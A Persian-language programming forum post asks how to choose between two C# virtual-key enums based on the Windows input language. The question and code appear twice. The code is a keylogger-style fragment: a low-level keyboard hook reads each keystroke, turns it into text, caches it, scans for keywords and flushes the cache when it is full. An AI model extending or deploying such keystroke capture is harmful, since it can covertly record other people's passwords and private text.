barnamenevisjavan
پنج شنبه 12 اردیبهشت 1392, 16:33 عصر
سلام توی کلاسی کدی بصورت زیر وجود دارد
بخش اول کد
--------------
public enum VKeys
{
LBUTTON = 0x01, // Left mouse button
}
و همینطور
public enum VKeysEN
{
چپ= 0x01, // Left mouse button
}
که مشخص میکنه کدوم کلیک از موس کلیک شده!
حالا توی کلاسی دیگه
کدی بصورت زیر نوشته شده
بخش دوم کد
--------------
public string GetKeyString(Hooker.VKeys vk)
{
string name = Enum.GetName(typeof(Hooker.VKeys), vk);
// represent a-z & 0-9 keys
if (name.Contains("KEY_"))
{
return name.Remove(0, 4);
}
// display SPACE key as ' '
if (vk == Hooker.VKeys.SPACE)
{
return " ";
}
// enter should be represented as a new line
if (vk == Hooker.VKeys.RETURN)
{
return "\r\n";
}
return "[" + name + "]";
}
و همچنین
public void ProcessHook(IntPtr wParam, IntPtr lParam)
{
int key = Marshal.ReadInt32(lParam);
// add to cache
cache += GetKeyString((Hooker.VKeys)key);
ProcessKeywords();
// cache full? let's flush
if (cache.Length >= Properties.Settings.Default.cacheSize)
{
ActionFlush();
}
}
میبینیم که توی این VKeys استفاده شده من میخوام بخش دوم کد رو شرطی کنم یعنی اگر زبان نوشتاری ویندوز فارسی بود از بخش اول کد یعنی Vkeys استفاده کنه و اگر انگلیسی بود از VKeysEN چطوری باید استفاده بکنم؟
بخش اول کد
--------------
public enum VKeys
{
LBUTTON = 0x01, // Left mouse button
}
و همینطور
public enum VKeysEN
{
چپ= 0x01, // Left mouse button
}
که مشخص میکنه کدوم کلیک از موس کلیک شده!
حالا توی کلاسی دیگه
کدی بصورت زیر نوشته شده
بخش دوم کد
--------------
public string GetKeyString(Hooker.VKeys vk)
{
string name = Enum.GetName(typeof(Hooker.VKeys), vk);
// represent a-z & 0-9 keys
if (name.Contains("KEY_"))
{
return name.Remove(0, 4);
}
// display SPACE key as ' '
if (vk == Hooker.VKeys.SPACE)
{
return " ";
}
// enter should be represented as a new line
if (vk == Hooker.VKeys.RETURN)
{
return "\r\n";
}
return "[" + name + "]";
}
و همچنین
public void ProcessHook(IntPtr wParam, IntPtr lParam)
{
int key = Marshal.ReadInt32(lParam);
// add to cache
cache += GetKeyString((Hooker.VKeys)key);
ProcessKeywords();
// cache full? let's flush
if (cache.Length >= Properties.Settings.Default.cacheSize)
{
ActionFlush();
}
}
میبینیم که توی این VKeys استفاده شده من میخوام بخش دوم کد رو شرطی کنم یعنی اگر زبان نوشتاری ویندوز فارسی بود از بخش اول کد یعنی Vkeys استفاده کنه و اگر انگلیسی بود از VKeysEN چطوری باید استفاده بکنم؟